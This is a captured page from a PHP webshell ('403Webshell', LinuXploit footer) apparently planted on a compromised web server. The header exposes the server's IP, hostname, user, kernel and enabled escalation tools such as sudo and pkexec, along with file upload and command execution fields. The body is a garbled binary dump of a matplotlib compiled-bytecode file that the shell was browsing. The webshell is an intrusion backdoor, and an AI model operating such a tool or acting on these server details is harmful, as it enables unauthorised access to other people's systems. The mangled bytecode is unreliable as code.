403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/lib/python3.9/dist-packages/matplotlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/local/lib/python3.9/dist-packages/matplotlib/__pycache__/patheffects.cpython-39.pyc
a

���heI�@s�dZddlmZddlmZddlmZddlmZ	ddl
mZddlZ
Gdd	�d	�ZGd
d�de�ZGdd
�d
e�Zdd�ZGdd�de�Zeed�ZGdd�de�Zeed�ZGdd�de�ZGdd�de�ZGdd�de�Zeed�ZdS)z�
Defines classes for path effects. The path effects are supported in `.Text`,
`.Line2D` and `.Patch`.

.. seealso::
   :ref:`patheffects_guide`
�)�RendererBase)�colors)�patches)�
transforms)�PathNc@s4eZdZdZddd�Zdd�Zdd�Zd
d
d�Zd	S)�AbstractPathEffectz�
    A base class for path effects.

    Subclasses should override the ``draw_path`` method to add effect
    functionality.
    ��r	cCs
||_dS)z�
        Parameters
        ----------
        offset : (float, float), default: (0, 0)
            The (x, y) offset to apply to the path, measured in points.
        N)�_offset)�self�offset�r
�@/usr/local/lib/python3.9/dist-packages/matplotlib/patheffects.py�__init__szAbstractPathEffect.__init__cCst��jt|j|j��S)z(Apply the offset to the given transform.)�mtransformsZAffine2D�	translate�map�points_to_pixelsr
)r�rendererr
r
r�_offset_transform"s�z$AbstractPathEffect._offset_transformcCsl|��}|�dd�}|r(|jfi|��|��D]6\}}t|d|d�}t|�s^td|����||�q0|S)z�
        Update the given GraphicsContext with the given dict of properties.

        The keys in the dictionary are used to identify the appropriate
        ``set_`` method on the *gc*.
        �dashesN�set_zUnknown property )�copy�popZ
set_dashes�items�getattr�callable�AttributeError)r�gcZnew_gc_dictr�k�vZ
set_methodr
r
r�
_update_gc's
zAbstractPathEffect._update_gcNcCs t|t�r|j}|�||||�S)z�
        Derived should override this method. The arguments are the same
        as :meth:`matplotlib.backend_bases.RendererBase.draw_path`
        except the first argument is a renderer.
        )�
isinstance�PathEffectRenderer�	_renderer�	draw_path�rrr�tpath�affine�rgbFacer
r
rr%;s
zAbstractPathEffect.draw_path)r)N)�__name__�
__module__�__qualname__�__doc__rrr!r%r
r
r
rrs

	rcsheZdZdZdd�Zdd�Zddd�Z�fd	d
�Z�fdd�Zd
d�Z	dd�Z
ddd�Zdd�Z�Z
S)r#aw
    Implements a Renderer which contains another renderer.

    This proxy then intercepts draw calls, calling the appropriate
    :class:`AbstractPathEffect` draw method.

    .. note::
        Not all methods have been overridden on this RendererBase subclass.
        It may be necessary to add further methods to extend the PathEffects
        capabilities further.
    cCs||_||_dS)z�
        Parameters
        ----------
        path_effects : iterable of :class:`AbstractPathEffect`
            The path effects which this renderer represents.
        renderer : `~matplotlib.backend_bases.RendererBase` subclass

        N)�
_path_effectsr$)r�path_effectsrr
r
rrTs	zPathEffectRenderer.__init__cCs|�||j�S�N)�	__class__r$)rr/r
r
r�copy_with_path_effect`sz(PathEffectRenderer.copy_with_path_effectNcCs$|jD]}|�|j||||�qdSr0)r.r%r$)rrr'r(r)�path_effectr
r
rr%cs
�zPathEffectRenderer.draw_pathc	sht|j�dkr.t�j||||g|�Ri|��S|jD].}|�|g�}|j||||g|�Ri|��q4dS�N�)�lenr.�super�draw_markersr2)	rrZmarker_pathZmarker_trans�path�args�kwargsr3r�r1r
rr8hs��
��zPathEffectRenderer.draw_markerscsdt|j�dkr,t�j|||g|�Ri|��S|jD],}|�|g�}|j|||g|�Ri|��q2dSr4)r6r.r7�draw_path_collectionr2)rrZmaster_transform�pathsr:r;r3rr<r
rr=zs��
��z'PathEffectRenderer.draw_path_collectioncCs@|�||||||�\}}	|��}
|�d�|j|||	|
d�dS)Nr	)r))Z_get_text_path_transformZget_rgb�
set_linewidthr%)rr�x�y�s�prop�angleZismathr9Z	transform�colorr
r
r�_draw_text_as_path�s�
z%PathEffectRenderer._draw_text_as_pathcCs$|dvrt|j|�St�||�SdS)N)ZflipyZget_canvas_width_height�new_gcrZ
_text2path�height�width)rr$�object�__getattribute__)r�namer
r
rrK�sz#PathEffectRenderer.__getattribute__cCs|j�||�Sr0)r$�
open_group)rrB�gidr
r
rrM�szPathEffectRenderer.open_groupcCs|j�|�Sr0)r$�close_group)rrBr
r
rrO�szPathEffectRenderer.close_group)N)N)r*r+r,r-rr2r%r8r=rFrKrMrO�
__classcell__r
r
r<rr#Gs

r#c@seZdZdZdS)�Normalz�
    The "identity" PathEffect.

    The Normal PathEffect's sole purpose is to draw the original artist with
    no special path effect.
    N)r*r+r,r-r
r
r
rrQ�srQcCs\Gdd�d|�}d|j��|_d|j��|_d|j�d|j�d|j�d�|_|jj|j_|S)zO
    Create a PathEffect class combining *effect_class* and a normal draw.
    cseZdZ�fdd�Z�ZS)z)_subclass_with_normal.<locals>.withEffectcs(t��|||||�|�||||�dSr0)r7r%r&r<r
rr%�sz3_subclass_with_normal.<locals>.withEffect.draw_path)r*r+r,r%rPr
r
r<r�
withEffect�srR�withz*
    A shortcut PathEffect for applying `.z�` and then
    drawing the original Artist.

    With this class you can use ::

        artist.set_path_effects([patheffects.withzM()])

    as a shortcut for ::

        artist.set_path_effects([patheffects.z@(),
                                 patheffects.Normal()])
    )r*r,r-r%)�effect_classrRr
r
r�_subclass_with_normal�s���
rUcs*eZdZdZd�fdd�	Zdd�Z�ZS)�Strokez0A line based PathEffect which re-draws a stroke.�rrcst��|�||_dS)z�
        The path will be stroked with its gc updated with the given
        keyword arguments, i.e., the keyword arguments should be valid
        gc parameter values.
        N)r7r�_gc�rrr;r<r
rr�szStroke.__init__cCsF|��}|�|�|�||j�}|�||||�|�|�|��dS)�Draw the path with updated gc.N)rG�copy_propertiesr!rXr%r�restore)rrrr'r(r)�gc0r
r
rr%�s
�zStroke.draw_path)rW�r*r+r,r-rr%rPr
r
r<rrV�s	rV)rTcs*eZdZdZd	�fdd�	Zdd�Z�ZS)
�SimplePatchShadowz#A simple shadow via a filled patch.�����N�333333�?csJt��|�|dur||_nt�|�|_|dur4d}||_||_||_dS)aR
        Parameters
        ----------
        offset : (float, float), default: (2, -2)
            The (x, y) offset of the shadow in points.
        shadow_rgbFace : :mpltype:`color`
            The shadow color.
        alpha : float, default: 0.3
            The alpha transparency of the created shadow patch.
        rho : float, default: 0.3
            A scale factor to apply to the rgbFace color if *shadow_rgbFace*
            is not specified.
        **kwargs
            Extra keywords are stored and passed through to
            :meth:`AbstractPathEffect._update_gc`.

        Nrc)r7r�_shadow_rgbFace�mcolors�to_rgba�_alpha�_rhorX)rr�shadow_rgbFace�alpha�rhor;r<r
rr�szSimplePatchShadow.__init__cCs�|��}|�|�|jdurP|p"ddd�\}}}	||j||j|	|jf}
n|j}
|�d�|�|j�|�d�|�||j	�}|�
||||�|�|
�|��dS)�
        Overrides the standard draw_path to add the shadow offset and
        necessary color changes for the shadow.
        N���?rnrn��noner)
rGr[rdrh�set_foreground�	set_alphargr?r!rXr%rr\�rrrr'r(r)r]�r�g�brir
r
rr%	s



�zSimplePatchShadow.draw_path)r`NNrcr^r
r
r<rr_�s�$r_cs*eZdZdZd	�fdd�	Zdd�Z�ZS)
�SimpleLineShadowzA simple shadow via a line.r`rrccs>t��|�|dur||_nt�|�|_||_||_||_dS)a�
        Parameters
        ----------
        offset : (float, float), default: (2, -2)
            The (x, y) offset to apply to the path, in points.
        shadow_color : :mpltype:`color`, default: 'black'
            The shadow color.
            A value of ``None`` takes the original artist's color
            with a scale factor of *rho*.
        alpha : float, default: 0.3
            The alpha transparency of the created shadow patch.
        rho : float, default: 0.3
            A scale factor to apply to the rgbFace color if *shadow_color*
            is ``None``.
        **kwargs
            Extra keywords are stored and passed through to
            :meth:`AbstractPathEffect._update_gc`.
        N)r7r�
_shadow_colorrerfrgrhrX)rrZshadow_colorrjrkr;r<r
rr)szSimpleLineShadow.__init__cCs�|��}|�|�|jdurT|��p&ddd�\}}}	||j||j|	|jf}
n|j}
|�|
�|�|j�|�||j	�}|�
||||�|��|��dS)rlNrmro)
rGr[rxZget_foregroundrhrqrrrgr!rXr%rr\rsr
r
rr%Gs


�zSimpleLineShadow.draw_path)r`rrcrcr^r
r
r<rrw&s
�rwcs*eZdZdZd�fdd�	Zdd�Z�ZS)�PathPatchEffectza
    Draws a `.PathPatch` instance whose Path comes from the original
    PathEffect artist.
    rWcs&t�j|d�tjgfi|��|_dS)a�
        Parameters
        ----------
        offset : (float, float), default: (0, 0)
            The (x, y) offset to apply to the path, in points.
        **kwargs
            All keyword arguments are passed through to the
            :class:`~matplotlib.patches.PathPatch` constructor. The
            properties which cannot be overridden are "path", "clip_box"
            "transform" and "clip_path".
        )rN)r7r�mpatchesZ	PathPatch�patchrYr<r
rreszPathPatchEffect.__init__cCsd||j_|j�||�|��|j�|���|��}|rT|j��durT|jj|�|j�|�dSr0)	r{�_pathZ
set_transformrZset_clip_boxZget_clip_rectangleZ
get_clip_pathZ
set_clip_pathZdraw)rrrr'r(r)Z	clip_pathr
r
rr%tszPathPatchEffect.draw_path)rWr^r
r
r<rry_srycs8eZdZdZddde�d�f�fdd�	Zdd	�Z�ZS)
�TickedStrokea
    A line-based PathEffect which draws a path with a ticked style.

    This line style is frequently used to represent constraints in
    optimization.  The ticks may be used to indicate that one side
    of the line is invalid or to represent a closed boundary of a
    domain (i.e. a wall or the edge of a pipe).

    The spacing, length, and angle of ticks can be controlled.

    This line style is sometimes referred to as a hatched line.

    See also the :doc:`/gallery/misc/tickedstroke_demo` example.
    rWg$@g�F@racs(t��|�||_||_||_||_dS)a%
        Parameters
        ----------
        offset : (float, float), default: (0, 0)
            The (x, y) offset to apply to the path, in points.
        spacing : float, default: 10.0
            The spacing between ticks in points.
        angle : float, default: 45.0
            The angle between the path and the tick in degrees.  The angle
            is measured as if you were an ant walking along the curve, with
            zero degrees pointing directly ahead, 90 to your left, -90
            to your right, and 180 behind you. To change side of the ticks,
            change sign of the angle.
        length : float, default: 1.414
            The length of the tick relative to spacing.
            Recommended length = 1.414 (sqrt(2)) when angle=45, length=1.0
            when angle=90 and length=2.0 when angle=60.
        **kwargs
            Extra keywords are stored and passed through to
            :meth:`AbstractPathEffect._update_gc`.

        Examples
        --------
        See :doc:`/gallery/misc/tickedstroke_demo`.
        N)r7r�_spacing�_angle�_lengthrX)rr�spacingrD�lengthr;r<r
rr�s
zTickedStroke.__init__c#Cs�|��}|�|�|�||j�}||�|�}t�|j�}t�t�	|�t�
|�gt�
|�t�	|�gg�}	|�|j�}
|�
|�}|jdd�}|D�](}
|
dd�df}|
dd�df}|jdkr�q�t�|dd�|dd�|dd�|dd��}t�dgt�|�f�}|d}tt�||
��d}t�|
d||
d|�}t�|||�}t�|||�}|jd	}t�||||�||}t�||||�||}t�||�}|dk}d
||<t�||||g�j}t�ddg�j||<t�||	�|j|
}||dd�df}||dd�df}tjd|df|jd�} || ddd�df<|| ddd�df<|| ddd�df<|| ddd�df<t�tjtjg|�}!t| |!�}"|� ||"|�!�||�q�|�"�dS)rZF)Zclosed_onlyNrr5ra���r	g����MbP?rn)�dtype)#rGr[r!rXr�np�radiansr�array�cos�sinrr~Ztransform_pathZto_polygons�size�hypotZconcatenateZcumsum�int�ceilZlinspaceZinterp�T�dotr��emptyr�ZtilerZMOVETOZLINETOr%�invertedr\)#rrrr'r(r)r]Ztrans�thetaZtrans_matrixZ
spacing_pxZ	transpathZpolys�pr@rAZdsrBZs_total�numZs_tickZx_tickZy_tickZdelta_s�ur �n�maskZuvZdxyZx_endZy_endZxyt�codes�hr
r
rr%�sV
�


4

zTickedStroke.draw_path)	r*r+r,r-r��sqrtrr%rPr
r
r<rr}~s
�#r})r-Zmatplotlib.backend_basesrZ
matplotlibrrerrzrrZmatplotlib.pathr�numpyr�rr#rQrUrVZ
withStroker_ZwithSimplePatchShadowrwryr}ZwithTickedStroker
r
r
r�<module>s&6[	
A
9

Youez - 2016 - github.com/yon3zu
LinuXploit